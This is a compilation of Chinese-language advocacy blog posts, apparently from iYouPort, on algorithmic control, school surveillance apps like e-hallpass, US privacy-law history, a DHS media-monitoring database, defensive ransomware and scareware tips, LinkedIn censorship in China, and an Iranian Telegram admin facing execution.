Parkland school turns to experimental surveillance software that can flag students as threats. Schools and other education-related buyers are the fifth-biggest market for surveillance systems across the world but the top market in the United States, with $2.7 billion in revenue in 2017

原文

算法专制 - iyouport

你我的灾难现实

【2019年6月12日存档】我们逐渐限制了自己的决策能力，并允许算法接管一切。我们自己已成为人造人或人工制品，由该技术创造、塑造和使用。这对我们个人和社会意味着什么？

当进化生物学家 Peter Lawrence 撰写的 一本名为 The Making of a Fly 的书在亚马逊上定价为23,698,655.93美元（再加上3.99美元的运费）时，我仍然会感到惊讶。

陡峭的价格实际上是算法彼此冲突并失控的结果。事实证明，不只是销售人员具有创造性，更重要的是：算法正在发号施令。

这个引人注目的例子被发现并纠正。但是，如果这种算法干扰一直发生，包括我们甚至没有注意到的方式呢？如果我们的现实越来越多地被算法构建，这会造成什么样的结果？

受这些例子的启发，我的同事 Allen Lee 和我最近开始在“信息系统协会期刊”的一篇论文中探讨算法技术的深层影响。

通过探索我们得出结论，随着时间的推移，信息技术和人类的作用已被逆转。在过去，人类使用技术作为工具；而现在，技术已经发展到了使用甚至控制我们的程度。

人类不仅将决策权交给了机器，而且还以不可预测的方式深受其影响。人类已经不再是影响决策系统的核心，而是被投射到其环境中。

我们逐渐限制了自己的决策能力，并允许算法接管一切。我们自己已成为人造人或人工制品，由该技术创造，塑造和使用。

例子比比皆是。在法律上，法律分析师逐渐被人工智能所取代，这意味着案件是否能成功辩护或起诉正在依赖于算法。

软件甚至被允许预测未来的罪犯，最终控制人类自由。通过这种方式，法官的思想正在被他们无法理解的决策机制所塑造，因为这个过程太复杂了，涉及的数据太多。

在就业市场中，对技术的过度依赖已经导致一些世界上最大的公司通过软件过滤简历，这意味着人类招聘人员甚至都不会看到一些潜在候选人的优势细节。这不仅将人们的生计置于机器的怜悯之下，还可能构建公司不希望实施的招聘偏见，就像亚马逊发生的那样。

在新闻中，所谓的自动情绪分析算法分析了基于不同网络资源的公司的积极和消极观点。反过来，这些算法正在被用于做出自动化的财务决策，而人类不必再实际阅读新闻了。

实际上，没有人为干预的算法现在在金融市场中发挥着重要作用。例如，目前外汇市场中85%的交易仅通过算法进行。

不断增长的算法军备竞赛开发越来越复杂的系统以在这些市场中竞争，意味着人类正在根据机器的决策分配巨额资金。创建这些算法的人和公司能够影响人们的行为。

但是，由于人工智能的大部分涉及专业技术，大多数人通常不确切知道决策的背后是什么。与所有技术一样，这可能会导致意想不到的后果，可能远远超出设计师设想的范围。

以道琼斯工业平均指数2010年的“闪电崩盘”为例。算法的作用帮助创造了该指数历史上单一最大跌幅，在几分钟内消除了近9%的价值（虽然它在当天结束时重新挽回了大部分）。一项为期五个月的调查说明了引发经济衰退的原因（并提出了其他各种理论）。

但扩大初始问题的算法没有犯错误。编程中没有错误。这种结果来自数百万算法决策的相互作用，这些决策以不可预测的方式相互影响，遵循它们自己的逻辑，从而导致市场的螺旋式下降。

实现这一目标的条件之所以出现，是因为多年来，经营贸易体系的人已经将人类决策视为市场效率的障碍。早在1987年美国股市下跌22.61%时，一些华尔街经纪人就把自己的手机藏起来了以避免收到他们的客户抛售的消息。

由此，一个过程开始了，正如作者迈克尔·刘易斯（Michael Lewis）在他的“闪电男孩”（Flash Boys）一书中所说的那样，“电脑完全取代了人”。

人类存在的唯一目的只剩下在每次技术决策系统失败时重新配置算法。

由于人与技术之间存在新的界限，我们需要仔细考虑对软件的极度依赖之所在。随着人类决策被算法的决定所取代，我们自己成为了工具，其生活由机器及其意外后果塑造，我们正在为技术统治做好准备。

这对我们个人和社会意味着什么？是时候想想这个问题了。

Algorithms Are Already Making Decisions For Humans, And It's Getting Weird. We need to decide, while we still can, what this means for us both as individuals and as a society. The Conversation

原文

算法专制 - iYouPort

你我的灾难现实

我们逐渐限制了自己的决策能力，并允许算法接管一切。我们自己已成为人造人或人工制品，由该技术创造、塑造和使用。这对我们个人和社会意味着什么？

「图」

「图」

当进化生物学家 Peter Lawrence 撰写的 一本名为 The Making of a Fly 的书在亚马逊上定价为23,698,655.93美元（再加上3.99美元的运费）时，我仍然会感到惊讶。

陡峭的价格实际上是算法彼此冲突并失控的结果。事实证明，不只是销售人员具有创造性，更重要的是：算法正在发号施令。

这个引人注目的例子被发现并纠正。但是，如果这种算法干扰一直发生，包括我们甚至没有注意到的方式呢？如果我们的现实越来越多地被算法构建，这会造成什么样的结果？

受这些例子的启发，我的同事 Allen Lee 和我最近开始在“信息系统协会期刊”的一篇论文中探讨算法技术的深层影响。

通过探索我们得出结论，随着时间的推移，信息技术和人类的作用已被逆转。在过去，人类使用技术作为工具；而现在，技术已经发展到了使用甚至控制我们的程度。

人类不仅将决策权交给了机器，而且还以不可预测的方式深受其影响。人类已经不再是影响决策系统的核心，而是被投射到其环境中。

我们逐渐限制了自己的决策能力，并允许算法接管一切。我们自己已成为人造人或人工制品，由该技术创造，塑造和使用。

例子比比皆是。在法律上，法律分析师逐渐被人工智能所取代，这意

味着案件是否能成功辩护或起诉正在依赖于算法。

软件甚至被允许预测未来的罪犯，最终控制人类自由。通过这种方式，法官的思想正在被他们无法理解的决策机制所塑造，因为这个过程太复杂了，涉及的数据太多。

在就业市场中，对技术的过度依赖已经导致一些世界上最大的公司通过软件过滤简历，这意味着人类招聘人员甚至都不会看到一些潜在候选人的优势细节。这不仅将人们的生计置于机器的怜悯之下，还可能构建公司不希望实施的招聘偏见，就像亚马逊发生的那样。

在新闻中，所谓的自动情绪分析算法分析了基于不同网络资源的公司的积极和消极观点。反过来，这些算法正在被用于做出自动化的财务决策，而人类不必再实际阅读新闻了。

实际上，没有人为干预的算法现在在金融市场中发挥着重要作用。例如，目前外汇市场中85%的交易仅通过算法进行。

不断增长的算法军备竞赛开发越来越复杂的系统以在这些市场中竞争，意味着人类正在根据机器的决策分配巨额资金。创建这些算法的人和公司能够影响人们的行为。

但是，由于人工智能的大部分涉及专业技术，大多数人通常不确切知道决策的背后是什么。与所有技术一样，这可能会导致意想不到的后果，可能远远超出设计师设想的范围。

以道琼斯工业平均指数2010年的“闪电崩盘”为例。算法的作用帮助创造了该指数历史上单一最大跌幅，在几分钟内消除了近9%的价值（虽然它在当天结束时重新挽回了大部分）。一项为期五个月的调查说明了引发经济衰退的原因（并提出了其他各种理论）。

但扩大初始问题的算法没有犯错误。编程中没有错误。这种结果来自数百万算法决策的相互作用，这些决策以不可预测的方式相互影响，遵循它们自己的逻辑，从而导致市场的螺旋式下降。

实现这一目标的条件之所以出现，是因为多年来，经营贸易体系的人已经将人类决策视为市场效率的障碍。早在1987年美国股市下跌22.61%时，一些华尔街经纪人就把自己的手机藏起来了以避免收到他们的客户抛售的消息。

由此，一个过程开始了，正如作者迈克尔·刘易斯（Michael Lewis）在他的“闪电男孩”（Flash Boys）一书中所说的那样，“电脑完全取代

了人”。

人类存在的唯一目的只剩下在每次技术决策系统失败时重新配置算法。

由于人与技术之间存在新的界限，我们需要仔细考虑对软件的极度依赖之所在。随着人类决策被算法的决定所取代，我们自己成为了工具，其生活由机器及其意外后果塑造，我们正在为技术统治做好准备。

这对我们个人和社会意味着什么？是时候想想这个问题了。

Algorithms Are Already Making Decisions For Humans, And It’s Getting Weird. We need to decide, while we still can, what this means for us both as individuals and as a society. The Conversation

原文

老大哥进入厕所：学校正在使用监视应用程序跟踪学生撒尿，这意味着什么？ - iYouPort

你我的灾难现实

我们从这件事中看到了美国公民社会成熟的反抗系统和辩论能力，这是中国最为缺乏的。中国社会遭遇的监视问题和美国非常相似，唯一的不同点在反抗的部分

「图」

「图」

毫无疑问，我们正生活在越来越深入的奥威尔时代。

当人们发现另一个政府机构以另一种方式监视公民时，大多数人都不会感到惊讶。在你到过的所有地方（甚至在自己的家中）监视都已成为常态。

即便从事间谍活动的不是政府机构，也肯定就是寡头技术公司。几乎每天都能听到来自 Google、Facebook 和 Amazon 的新型侵犯隐私的行为。

最近的宣布是，寡头技术公司和政府正在组建一个名为HARPA的邪恶反乌托邦联盟，该联盟将利用包括 Google、Amazon 和 Apple 在内的公司收集有关表现出可能导致“暴力行为” 情绪的任何用户的数据。

如果您认为避免使用社交媒体平台就可以让您免受寡头技术公司的窥探？那就真的错了。

不幸的是，儿童也不能幸免

学校曾经是孩子们学习的地方，如今已逐渐成为大政府的灌输中心。使这种痛苦变得明显的一种方法是公立学校实施的监视措施。

我读到了一个令人脊背发冷对的标题：

SCHOOLS ARE USING AN APP TO TRACK STUDENTS WHILE THEY PEE

还记得放风通行证吗？就是教师给学生的纸条，以表明他们有权离开课堂几分钟。

在美国各地的数百所学校中，曾经那种纸质的放风通行证已被特别具有侵入性的应用程序所取代。

该应用程序称为电子通行证，其工作方式如下：

在使用 e-Hallpass 的学校中，学生通过该应用程序提交离开教室的请求。该监视系统会记录任何“危险信号”，例如同一位学生的频繁上厕所请求。然后，教师选择是否批准请求。

如果学生被授予许可就可以暂时离开；如果学生上厕所花费的时间太长，该应用会自动通知管理员以对其进行检查。

在收集本文的信息时，我访问了 e-hallpass 网站以了解有关该系统的更多信息。由于种种原因，本文不分享指向该站点的链接。

如果确实要造访该网站，请务必查看 e-hallpass 系统的视频。如果您有自由意识并关心隐私，您会知道这有多么令人不安。

有了这种电子通行证，不仅您的孩子的老师会一直监视学生的一举一动，而且整个学校的工作人员也是如此。

如果学生是由于健康问题而需要经常去洗手间怎么办？这类健康问题可能会使孩子感到尴尬，继而还要被跟踪和询问他们为什么在洗手间呆了10分钟。

学生不必在个人设备上安装 e-hallpass 应用程序，但是如果愿意，他们可以使用自己的设备。

由于明显的原因，这引起了更多的隐私问题 —— 应用程序经常因访问不应访问的数据而臭名昭著。想象一下一个孩子在自己的设备上使用该应用程序，并且该设备与家庭计算机同步，这种监视的延伸正在发生。

e-hallpass 在其隐私政策中表示，学生数据不会与第三方公司共享以进行营销或广告宣传，家长可以请求删除。

但是，父母呢？他们对收集哪些关于孩子的数据以及如何使用这些数据有发言权吗？

正如《邮报》解释的那样：

家庭通常已经在校外采取了各种预防措施，比如在家里执行屏幕时间规则，并限制家人在社交媒体上发布自己孩子的照片。

但是，控制在学校发生的监视变得更加困难，部分原因是不需要学区告知家长学生使用的每一种软件。这些应用程序以及部署它们的学校对于如何使用、共享和存储数据具有不同的规则。

全国各地的学校都在使用数百种大小不一的应用程序，从跟踪家庭作业到改变行为，无所不能。

因此，学校甚至不必告诉父母他们使用的是哪种类型的监视跟踪应用程序和软件，这些监视技术收集了哪些其他数据也没人知道。

学生们对这种监视的感觉如何？

高中生 Christian Chase 对华盛顿邮报说："我只知道这是对我们隐私的侵犯，我认为这不是必须采取的措施。我会了解这是否瞄准特定人群甚至仅仅针对下层阶级。"

Chase 在 Change.org 上发表了一份请愿书。他描述了该监视系统如何工作以及为什么必须反对该监视系统：

新系统要求学生在移动设备或笔记本电脑上输入老师给的密码，否则不能去学校的任何地方，包括上厕所、喝水或去看辅导员。在通行证有效期间，它在整个学校范围内任何地方跟踪你，管理员可以检查谁在走廊上聚会。这是对学生隐私的严重侵犯，完全没有必要。

去年，对伊利诺伊州高中的学生进行了关于电子通行证的调查。大多数人对该系统不满意：有70%的学生认为电子通行证可能会干扰教室内的学习过程。

家长对该监视应用程序一无所知

一些父母对使用该应用程序表示严重担忧。

主题是社交媒体法律、生活和技术的 Shear 网站其隐私律师 Brad

Shear 的两个孩子在马里兰州的蒙哥马利县学区读书。

他告诉《邮报》，如果学区决定在学校测试电子通行证，他和其他父母会联合反对，他说："这是卫生间里的老大哥"。

一些政治家也表达了疑问

最近，一些立法者给50多家教育技术公司和数据收集者写了封信，要求他们解释他们收集什么样的信息以及如何使用它们。

发送信件的公司列表包括：

Google, Facebook, Smart Sparrow, DreamBox Learning, ScootPad, ST Math, Curriculum Associates i-Ready, Realizeit, Macmillan, McGraw-Hill, Snapwiz, Kaplan, Wiley Education Services, the College Board, ACT, Pearson, Student Opportunity Center, Cognitive ToyBox, AdmitHub, Upswing, Formative, Flocabulary, BrightBytes, Hapara, Intellus Learning, Civitas Learning, Education Elements, NoRedInk, StraighterLine, Turnitin, Cengage, VitalSource, RedShelf, Barnes & Noble Education, Canvas Instructure, Blackboard, Sakai, Moodle, D2L Brightspace, Edmodo, Quizlet, Schoology Accurate Leads, American Student Marketing, AmeriList, ASL Marketing, Caldwell List Co., Complete Mailing Lists, DataMasters, DMDatabases, Dunhill International List Co., Exact Data, InfoUSA, Lake B2B, NRCCUA and Scholarships.com.

您可以采取什么措施来保持孩子的数据安全？

1、研究现有的《家庭教育权利和隐私法案》（FERPA），《学生权利保护修正案》（PPRA），《儿童在线隐私保护法案》（COPPA），以及适用于 EdTech 服务的地方法律。

2、加入本地社区的讨论，与社区成员联合。

3、对上级联盟和信息共享权利组织进行研究，以寻求支撑。

4、研究与学校有关的网络漏洞。

5、考虑使用身份盗用监控，以检查有关孩子身份的任何欺诈性使用。

6、定期对孩子的信息进行互联网搜索，以帮助确定其信息的暴露和传播程度。

由纽约的 Leonie Haimson 和科罗拉多州的 Rachael Stickland 于2014年7月成立的学生隐私家长联盟提供了免费的学生隐私家长工具包，您可以下载该工具包。

儿童是否已适应扩大化的警察国家状态？

孩子们正在被编程为无原则接受任何 “权威人物” 的要求 —— 包括监视他们上厕所。

这些所谓的 “权威人物” 教导孩子们必须以安全为名牺牲隐私（该电子通行证宣传视频一再提及“安全”），并使孩子们认为24/7监视是“正常和必要的”。

也许最令人不安的是，被定罪的年龄越来越低。

John W. Whitehead 写道：

学校已经拥有了威权主义特征。

- 从孩子进入98,000所公立学校之一到毕业的所有时间里，他们都在受到严格的饮食限制；
- 严厉的零容忍政策将幼稚的行为定为犯罪；
- 将言论定为犯罪；
- 标准化测试强调死记硬背的答案；
- 政治正确导致年轻人自我审查并审查周围人；
- 以及广泛的生物识别和各种其他监视系统，迫使年轻人去适应没有思想、言论或行动自由的世界。

政府开展了以利润为导向的监视扩展运动，许多学校都已将自己转变为准监狱，并配备了监控摄像头、金属探测器、警察巡逻、零容忍政策、封锁、缉毒犬、脱衣搜身和射手训练。（source）

- 《监狱式教学》

牺牲自由以换取所谓的“安全”是危险的

某些人可能依旧相信所有这些监视都是为了某种程度上所谓的安全。就如当权者灌输的那样：“如果你没有做错任何事，那就不用担心。”

在2016年的一次采访中，Edward Snowden 对此表示：

隐私不是要隐藏东西。隐私是要保护东西。保护的就是你。是隐私让你之所以成为你。隐私是自我的权利。

隐私使您能够按照自己的意愿与世界分享自己的身份。让世界了解您要成为的人，并保护自己不确定的部分，因为您仍在努力。

没有隐私的人就会失去做自己的能力。隐私是所有其他权利的源泉。

- 《同一枚硬币的两面—— 隐私权和言论自由权》

如果您无法拥有一个安静的空间，一个内在的空间，那么言论自由就不再有意义。

没有隐私，您将一无所有。

如果你认为自己可以不关心隐私是因为你 “没什么可隐藏的”，就如同你不关心言论自由，是因为你无话可说。(source)

权利的运作方式就是，政府必须证明侵犯你的权利的 “正当性”。

您可能会认为监视孩子上厕所 “没什么大不了的”，但请考虑一下大局。

您如何说服同胞政府为他工作，而他一生的大部分时间都被监禁在一个机构中，该机构教导年轻人要学习做服从和顺从的人，不要反驳，不要质疑，也不要挑战权威？(source) ○

附：《监视之恶》完整版。如果您对监视有任何疑问，这套文章基本都能解释：

- 《老大哥并没有一直在看，反而比这更可怕—— 监视之恶（一）》
- 《为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系》
- 《“冰河”已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言》
- 《可怕的“连点成线” 和互联网审查—— 监视之恶（四）“反恐”歧途》
- 《“六行字足够绞死你”，这不是玩笑—— 监视之恶（五）数据指控》

- 《“计算机和狗”之辩，为什么要批评美国？—— 监视之恶（六）破解荒唐的狡辩（上）》
- 《为什么要求解散国安局？—— 监视之恶（六）立法监管不可能，应该怎么办（下）》

原文

隐私的终结，始于上世纪60年代 - iYouPort

你我的灾难现实

Margaret O’Mara: 美国国会数十年前作出的选择造就了科技巨头今日的垄断和强势

1965 年秋天，林登·约翰逊 (Lyndon Johnson) 总统治下的美国政府宣布了一项计划—— 将数以百计的联邦数据库整合进一个集中式的国家数据库 (National Data Bank)，意在提升效率，使其推行的“伟大社会”（Great Society）计划更加伟大。

但也有很多美国人对个人隐私感到担忧—— 无论是受到联邦调查局 **(FBI)** 监控的民权领袖和学运人士，还是对約翰·埃德加·胡佛 **(J. Edgar Hoover)** 运用电子侦听技术提出质疑的议员—— 国家数据库 **(National Data Bank)** 证实了他们最深的恐惧。在随后的几年里，国会召开了一些引发轰动的听证会，猛烈抨击关于国家数据库的想法，并且警告，政府收集信息的行为正在走向失控。

上世纪 60 年代的隐私斗士们可能会对科技行业的现状感到惊讶，但他们更会吃惊地意识到，正是他们当时做出的政策选择—— 要求数据透明，而不是限制数据收集；立法限制政府行为，而不是私人企业—— 使今天的科技巨头能够像"现在这样庞大而强势"。

美国众议院司法委员会 (House Judiciary Committee) 计划就算法偏见的指控对谷歌首席执行官桑达尔·皮查伊 (Sundar Pichai) 提出质询，而活跃的民主党则誓言，在明年1月接管众议院领导权时，将在反垄断和隐私问题上加大对科技公司的压力。硅谷和华盛顿都日益认识到，现有的有关数据隐私的管制规则必须有所改变。

而了解美国议员们过去是如何处理相关议题的，对于在当下做出正确决策具有至关重要的借鉴意义。

60 年代中期是打孔卡大型计算机的鼎盛时期，在它们诞生之后的二十年里，计算机处理令人眼花缭乱的大量信息的能力已经被充分证明。这些数据大部分是关乎个人的，医疗信息、服役记录，乃至家庭

在超市购买了哪一种燕麦片，同时，对于什么样的数据可以被收集、或由谁收集，并没有法律上的限制。在那之前，监管机构根本不把对针对性营销的监管当成严重的事，因为它非常不精确。

然而，计算机时代的到来，将针对性营销转化成了一门更有威力的科学。

1964 年春天，以不懈地抨击现代广告业而闻名的记者万斯·帕卡德 (Vance Packard) 出版了《裸体社会》**(the Naked Society)** 一书，引发了人们对数据隐私的担忧。《裸体社会》对一些大公司的营销方案做了比较评估，指出它们在美国消费者个人数据方面的交易规模巨大且有利可图。但是，他把大部分注意力集中在了计算能力最大的使用者身上—— 美国政府。

帕卡德观察到，大量的个人信息可能会被“吸收”到官僚机构的数据库里，数量之大令人担忧。他写道，“可以想象，那些拥有巨型记忆机器的数据库可以在几秒钟之内回忆起每个公民有生以来的所有特定行为—— 包括失败的、令人尴尬的或可能导致控罪的那些行为”。

帕卡德触及了要害。国会召集了一个隐私侵犯问题的特别委员会，并于1966年7月开始就政府的数据库提案举行听证会。

众议院的主要隐私斗士，新泽西州的尼尔·加拉格尔 (Neil Gallagher)，也是约翰逊的盟友，他认为数据库有一些价值，但是计划本身在保护个人信息方面做得不够。在参议院方面，北卡罗来纳州的萨姆·欧文（Sam Ervin），对总统广泛的国内议题持批评态度，他将数据库视为行政滥权的另一个标志。“计算机永不遗忘”，欧文警告说。

由于越南政策所导致的对政府的不信任气氛日益增长，计算机数据库的威胁就成了无法抑制的媒体热点。“它会威胁你的隐私吗？”《纽约时报》在一条报道的标题中问道。“大多数美国人的名字在政府文件中反复出现，”《时代》杂志指出，“总计近28亿条记录”。

哗然的舆论“杀死”了国家数据库。在接下来的几年里，出台了100多项与数据隐私相关的立法。少数几项法案的通过是里程碑式的——1967年的《信息自由法》（FOIA）、1970年的《公平信用报告法》（FCRA）和1974年的《隐私法》—— 但是所有这些法案都集中在个人对这些数据库中的信息的知情权上。没有人把是否应该收集这些信息的问题放在首要位置。

推动数据透明，而不是推动限制数据，符合计算机时代来临之前的美国法律先例和政治传统。正如法律学者艾伦·威斯汀 (Alan Westin) 在 1967 年指出的那样，美国既重视个人隐私，也重视信息的自由流动，后者的价值通常更占上风。这与西欧形成了鲜明的对比，在西欧，隐私被认为是需要小心保护的，并为此采取了更强有力的监管措施。

由于如此不懈地将焦点集中在政府对数据的使用和滥用上，国会因而很少关注私营企业在做些什么。美国的公司们仍然可以自由地收集产品使用者的数据。

国会再一次努力地在信息自由和隐私权之间“取得平衡”。致力于提高透明度的那些建议—— 比如标记机器人，让人们知道他们何时是在与机器交互，以及让消费者能够访问被企业采集和存储的个人数据—— 是重要的第一步。但首先，科技业者和政策制定者都需要认真审视企业被允许收集的数据本身。

国会应该认识到它在半个世纪前所没有认识到的：保护隐私绝不仅止于摧毁一个数据库，谴责一家公司或遏制一个行业。现在做出的决策将塑造未来的技术一代。

计算机永不遗忘。

Margaret O’Mara, a professor of history at the University of Washington, is the author of a forthcoming book, “The Code: Silicon Valley and the Remaking of America.”

原文

“媒体监测数据库”是做什么用的？政府为什么要收集媒体和评论家的个人信息？ - iYouPort

你的反乌托邦在线生活阴云密布

太可怕了，美国国土安全部新闻秘书 Tyler Houlton 周五对备受整体的监测数据库发布了一份回应，称该数据项目是“标准做法”，还称评论家为“胡思乱想的阴谋论者”！

⚠该数据合成工作的一部分将包括开发一个“数据库”，收集有关“记者，编辑，社交媒体影响力人士，博主等“对象的位置、记者“类型”、联系方式、以前的报道概况、当前的出版物和“任何其他可能相关的信息”。

公司还被要求提供一个基于应用的框架，国安部可以使用该框架来解析“在线文章和社交媒体对话”，和/或通过内置智能手机提醒、短信、电子邮件或Whatsapp消息接收自动警报。国安部仅为此应用的安全协议指定“密码保护”，而不是任何其他数据或网络安全措施。

收集都是有目的的，那么这个数据库的目的是什么？不仅包含职业记者，还有博客作家，究竟是为了审查所有形式的出版物？还是储备以待“利用”？推荐一篇文章做参考：《冷战故事 ~ CIA 如何利用媒体影响舆论》[[

|https://web.archive.org/web/20210818195742/https://iyouport.wixsite.com/iyouport/blog/%E5%86%B7%E6%88%98%E6%95%85%E4%BA%8B-cia-%E5%A6%82%E4%BD%95%E5%88%A9%E7%94%A8%E5%AA%92%E4%BD%93%E5%BD%B1%E5%93%8D%E8%88%86%E8%AE%BA-mockingbird-%E8%A1%8C%E5%8A%A8]]

我一直怀疑中国也有至少一个类似的数据库，收集所有的所谓新中产的详细信息（政治关注者/意见人士，也就是互联网写手）。臭名昭著的祝华新曾经在几年前的一篇报告中强调：对这一阶层的统战／吸纳 的必要性（也就是利用）。那之后北京明显启动了对社交媒体影响

力人物的政审和“再教育”，其定位基本精准。

这个数据库有可能保留在“舆情监测”部门手里，很可能与 BAT 合作。期待更多深入的调查。

原文

❤ 如何保护您的家人免受恐吓软件和勒索软件的侵害 - iYouPort

你的反乌托邦在线生活阴云密布

网络犯罪分子的本质是利用数据要挟。而不幸的是，只要我们的设备连接到网络，我们的数据就处于容易受到攻击的状态。但我们仍可以采取相应措施减少威胁的发生，而不是焦虑的担心可能发生的恐吓或勒索

「图」

「图」

这个日常场景可能在您身上发生过：当你在电脑前办公时，计算机屏幕上突然弹出一个随机广告，提醒你的电脑中可能存在的病毒风险，闪烁的警告在催促着你立刻下载他们的“防病毒软件”，于是你在冲动之中，以免费或花费了 9.99 美元的方式，下载了这个软件。

但你可能没有意识到：你的电脑并没有病毒，更不需要下载所谓的防毒软件，乐观的情况是你仅仅损失了一小笔费用、向诈骗人员透露了你的信用卡号码，但更悲观的情况是，你的电脑屏幕会停滞冻结，你所下载的、伪装的恶意软件会收集电脑数据并将其汇集到第三方以供在暗网上使用或销售。

防不胜防的恶意软件

上述的这种恶意软件被称为欺诈软件（scareware），它以诱骗用户下载伪装应用的方式获取用户数据。欺诈软件会用闪烁的提示消息对用户持续骚扰，好让用户购买其伪造的商业防火墙、电脑安全工具或防病毒软件。

狡猾的网络犯罪分子会将建议的应用打包，以模仿合法的安全软件的方式欺骗消费者。如果您中招了，也别太过于难过和自责，因为不仅仅是您一人，每天都有很多聪明的人掉进这类陷阱。

不过，糟糕的状况是，你遇到的是恐吓软件一个更邪恶的近亲——“勒索软件”(ransomware)，它可能会严重扰乱你的生活和工作。因为勒索事件的状况各不相同，发生过的远比你想象中多得多。

恶意破坏

勒索软件(也叫 malware)也是一种恶意软件，但比典型的恶意软件要复杂得多。勒索软件的感染过程通常始于用户点击了一个看起来像电子邮件附件的东西，一旦恶意软件遭到“释放”，计算机中的文件就会加密或锁定。

勒索软件攻击可能会给个人、企业，乃至国际集团都带来难以挽回的重创。网络犯罪分子会以获取到的机密信息作为要挟，要求受害者支付高额的赎金，许多人在走投无路之下只能满足其要求。勒索软件可以是大规模的，例如亚特兰大就遭受过迄今为止规模最大、代价最为高昂的网络破坏攻击；再比如说去年全球约有20万台计算机遭到过 WannaCry 的攻击。勒索软件攻击可针对任何数据密集型目标，如实验室、市政当局、银行、律师事务所和医院。

当然，勒索攻击所针对的目标不光是清白的无辜群众，有时也会涉及到一些“心里有鬼”的人。

一些青少年和老年人就因浏览非法网站而收到指控邮件，要求他们支付相关费用，否则会将他们的“陋习”暴露给他/她联系人列表中的每个人。许多类似的威胁都没有被报道，因为受害者太过尴尬而羞于出声。

数据勒索的恐怖分子

根据思科 2017 年年度网络安全报告，勒索软件的年增长率为 350%，而微软称 2015 年因勒索软件造成的损失约为 3.25 亿美元。大多数安全专家都建议不要向要挟者支付任何赎金，因为支付赎金并不能保证你就能得到你的文件，此项行为还可能在变相鼓励犯罪分子二次要挟。

网络犯罪分子的本质是利用数据要挟，作恶的恐怖分子知道大多数人对他们的攻击行为毫无招架之力。不幸的是，只要我们的设备连接到网络，我们的数据就容易受到攻击。但我们仍可以采取相应措施减少威胁的发生，而不是焦虑的担心可能发生的恐吓或勒索。

保证家庭数据安全的几个小提议

观念普及

首先需要向您的家庭普及网络安全的重要性，观念的普及有助于每个人更加了解面临的风险并对潜在的犯罪行为作出相应的应对举措。

备份一切

网络犯罪分子的主要目标是获取他人的数据，要么使用，要么出售，要么用于勒索。因此，你使用外部硬盘或云端时，最好能备份一份数据。如果勒索软件攻击了你的家庭，你也不至于因家庭照片、艺术作品和其他有价值的内容被窃取而感到恐慌。备份数据可以帮助您检索和恢复在恶意软件攻击中丢失的文件。

留意点击

留意你正在点击的链接和附件，通常可以减少恶意软件攻击的机会。然而，骗子也正变得越来越老练，他们将勒索软件与看似正常的邮件联系起来。如果你收到一封电子邮件，其中有一个附件或一个朋友/同事发来的随机链接，请在打开电子邮件附件之前暂停一下。只选择来自可信来源的邮件。

更新设备

在防范恶意软件上，确保你的操作系统更新到最新才是当前的首选。几乎每一个软件更新都包含安全改进，帮助您的计算机免受新型威胁。最好是为你的电脑设置自动更新。如果你是 Windows 用户，请立即应用微软的 Windows 安全补丁。

添加一个安全产品

直到遭遇恶意软件攻击之前，我们很容易忽视其隐患。为了避免这种风险，可以使用一种专门保护你的电脑免受恶意软件和病毒侵害而设计的安全产品。安装完成后也要记得保持它的更新。

受到感染怎么办？

如果你发现自己收到了勒索通知，请立即断开与互联网的连接。黑客需要联网控制勒索软件和监视您的系统。大多数安全专家建议不要支付任何赎金，因为支付赎金并不能保证你能取回文件，而且可能会鼓励二次攻击。■

原文

LinkedIn 正在帮助中国政府对批评者噤声 - iYouPort

作恶者：谁在帮中国你的反乌托邦在线生活阴云密布

全球社交网络并没有让这个世界变得更好。促进跨境通信是很好的—这对世界公民来说是一个明确的净收益，但是，这些公司的业务在全球铺设，却在当地思考，使其业务严重受到所在国家政府监管的约束。

Facebook与各种独裁政府和睦相处的结果就是变成了纯粹的帮凶；Twitter 倾向于默默地帮助土耳其政府删除对总统埃尔多安及其行为的批评；谷歌似乎是为数不多的响应中国政府内容删除要求的公司之一。

在这些对于言论自由侵害的讨论中很少出现 LinkedIn 的影子，很可能是因为很少有人将其视为社交网络。 但是，LinkedIn 也在向中国提供共产党政府想要的东西。

LinkedIn 审查了批评中国政府的用户的个人资料和活动，这是对政府审查要求的另一个明显回应。

企业欺诈调查员 Peter Humphrey 是英国人，居住在英国，12月他被 LinkedIn 告知他的个人资料正在受到中国政府的审查，但在后来被 BuzzFeed News 询问之后，LinkedIn 恢复了该页面并说“有可能是个错误”。

此前几天，LinkedIn 在审查了中国民主活动人士的页面之后，又在一系列谴责声中恢复了这一页面。

LinkedIn 是受到中国防火长城热烈欢迎的美国社交媒体服务之一。因此，这意味着它实际上有一些东西可以在透明度报告中呈现中国当局的指令及其对内容删除的要求。到目前为止，审计计划正在……得到 LinkedIn 的协助。

「图」

「图」

LinkedIn 正在尝试两种方式。它遵守中国的要求并说出硅谷巨头的惯用借口—即 必须遵守其经营所在国家/地区的法律，就像在向 Peter Humphrey 发送的有关其帐户暂停的消息中所做的那样，下图：他们说，“虽然我们强烈支持言论自由，但我们认识到，当我们启动时，我们就需要遵守中国政府的要求才能在中国开展业务。”

「图」

「图」

之后引发舆论时，该公司再假装自己先前的做法“是一个误会”：当被问及为什么 Humphrey 的个人资料在中国已被删除时，LinkedIn 的发言人 Nicole Leverich 表示，内部审计发现该档案“被误阻”。她说，现在账户已恢复使用。

这似乎表明只有当人们开始抱怨之后，反思审计过程才会开始，而不是在 LinkedIn 收到中国政府的要求时。

One social network rarely appears in these discussions, most likely because few people actually see it as a social network. LinkedIn—the de facto adult in the world of social networking—is also giving China what it wants when it wants it.

原文

Telegram 频道的创作者被控“侮辱先知” 很可能会被判处死刑 - iYouPort

你的反乌托邦在线生活阴云密布

一个非常可怕的案例。中国人一定熟悉那个一度被当作笑柄的“群主承责”制度，然而它一点都不可笑。在伊朗，一位“群主”正在面临死刑危险。

我们首先要为人权呼吁，其次我们很想知道，这位政治犯是如何被当局抓捕的：是伊朗当局一直在监视 Telegram 频道吗？通过什么监视？还是来自该频道内容的合作者的告密？

今年 5 月 2 日的消息显示，德黑兰政府禁止了 Telegram，指控其“引发骚乱”，这位伊朗博主是去年 12 月被捕的，也就是说当时 Telegram 在伊朗的使用还不需要通过 VPN。

「图」

「图」

他叫 Hamidreza Amini，如果他创作的 Telegram 频道中的内容被认定“侮辱先知”，很可能会被判处死刑。一名接近这位良心犯的消息人士告诉伊朗人权中心（CHRI）2018年6月5日。

